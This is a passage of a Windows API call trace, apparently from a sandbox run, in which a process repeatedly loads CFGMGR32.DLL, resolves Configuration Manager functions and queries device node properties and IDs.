GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.707] malloc (_Size=0x18) returned 0x196ef0d1f20 [0225.707] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x28, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0225.707] malloc (_Size=0x48) returned 0x196ef0fc120 [0225.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6761b60d, dwHighDateTime=0x1d9eb0c)) [0225.707] SetEvent (hEvent=0x248) returned 1 [0225.758] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.758] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.760] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0225.760] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.761] malloc (_Size=0x48) returned 0x196ef0fc120 [0225.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x676b4131, dwHighDateTime=0x1d9eb0c)) [0225.761] SetEvent (hEvent=0x248) returned 1 [0225.765] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.765] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.765] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.767] malloc (_Size=0x18) returned 0x196ef0d20e0 [0225.768] CM_Get_Device_IDA (in: dnDevInst=0x5, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\ACPI_HAL\\0000") returned 0x0 [0225.768] malloc (_Size=0x48) returned 0x196ef0fc170 [0225.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x676b4131, dwHighDateTime=0x1d9eb0c)) [0225.768] SetEvent (hEvent=0x248) returned 1 [0225.771] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.771] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.772] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.774] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0225.775] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0225.775] malloc (_Size=0x14) returned 0x196ef0d1d60 [0225.775] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1d60, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1d60, pulLength=0x67117d608) returned 0x0 [0225.775] free (_Block=0x196ef0d1d60) [0225.775] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0225.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x676da363, dwHighDateTime=0x1d9eb0c)) [0225.775] SetEvent (hEvent=0x248) returned 1 [0225.777] malloc (_Size=0x18) returned 0x196ef0d20c0 [0225.777] SafeArrayPutElement (psa=0x196ef1f2cb0, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0225.777] free (_Block=0x196ef0d20c0) [0225.778] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0225.778] SafeArrayGetDim (psa=0x196ef1f2cb0) returned 0x1 [0225.778] SafeArrayGetLBound (in: psa=0x196ef1f2cb0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0225.778] SafeArrayGetUBound (in: psa=0x196ef1f2cb0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0225.778] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0225.778] SafeArrayGetDim (psa=0x196ef1f2cb0) returned 0x1 [0225.778] SafeArrayGetUBound (in: psa=0x196ef1f2cb0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0225.778] SafeArrayGetElemsize (psa=0x196ef1f2cb0) returned 0x8 [0225.778] SafeArrayGetElement (in: psa=0x196ef1f2cb0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0225.778] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.779] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0225.779] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0225.780] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.780] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.780] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.781] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.782] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.782] malloc (_Size=0x18) returned 0x196ef0d1da0 [0225.782] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0225.783] malloc (_Size=0x5a) returned 0x196ef0d0530 [0225.783] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0530, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0530, pulLength=0x67117d608) returned 0x0 [0225.783] free (_Block=0x196ef0d0530) [0225.783] malloc (_Size=0x48) returned 0x196ef0fbf40 [0225.783] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x676da363, dwHighDateTime=0x1d9eb0c)) [0225.783] SetEvent (hEvent=0x248) returned 1 [0225.788] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0225.788] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0225.788] free (_Block=0x196ef0d1ee0) [0225.789] malloc (_Size=0x18) returned 0x196ef0d1980 [0225.789] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0225.789] free (_Block=0x196ef0d1980) [0225.789] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8561e0 [0225.789] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0225.789] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0225.790] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0225.790] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0225.790] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0225.790] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0225.790] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0225.791] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0225.792] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e490, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.793] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e498, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.794] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0225.794] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8561e0) returned 1 [0225.795] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.795] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.796] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.798] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.799] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.800] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.801] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.218] malloc (_Size=0x18) returned 0x196ef0d1c60 [0226.219] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.222] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0226.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67b2a447, dwHighDateTime=0x1d9eb0c)) [0226.224] SetEvent (hEvent=0x248) returned 1 [0226.228] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.228] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.230] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.233] malloc (_Size=0x18) returned 0x196ef0d19e0 [0226.233] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.235] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0226.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67b4a1c7, dwHighDateTime=0x1d9eb0c)) [0226.235] SetEvent (hEvent=0x248) returned 1 [0226.239] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.239] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.243] malloc (_Size=0x18) returned 0x196ef0d1e20 [0226.243] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x5, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, 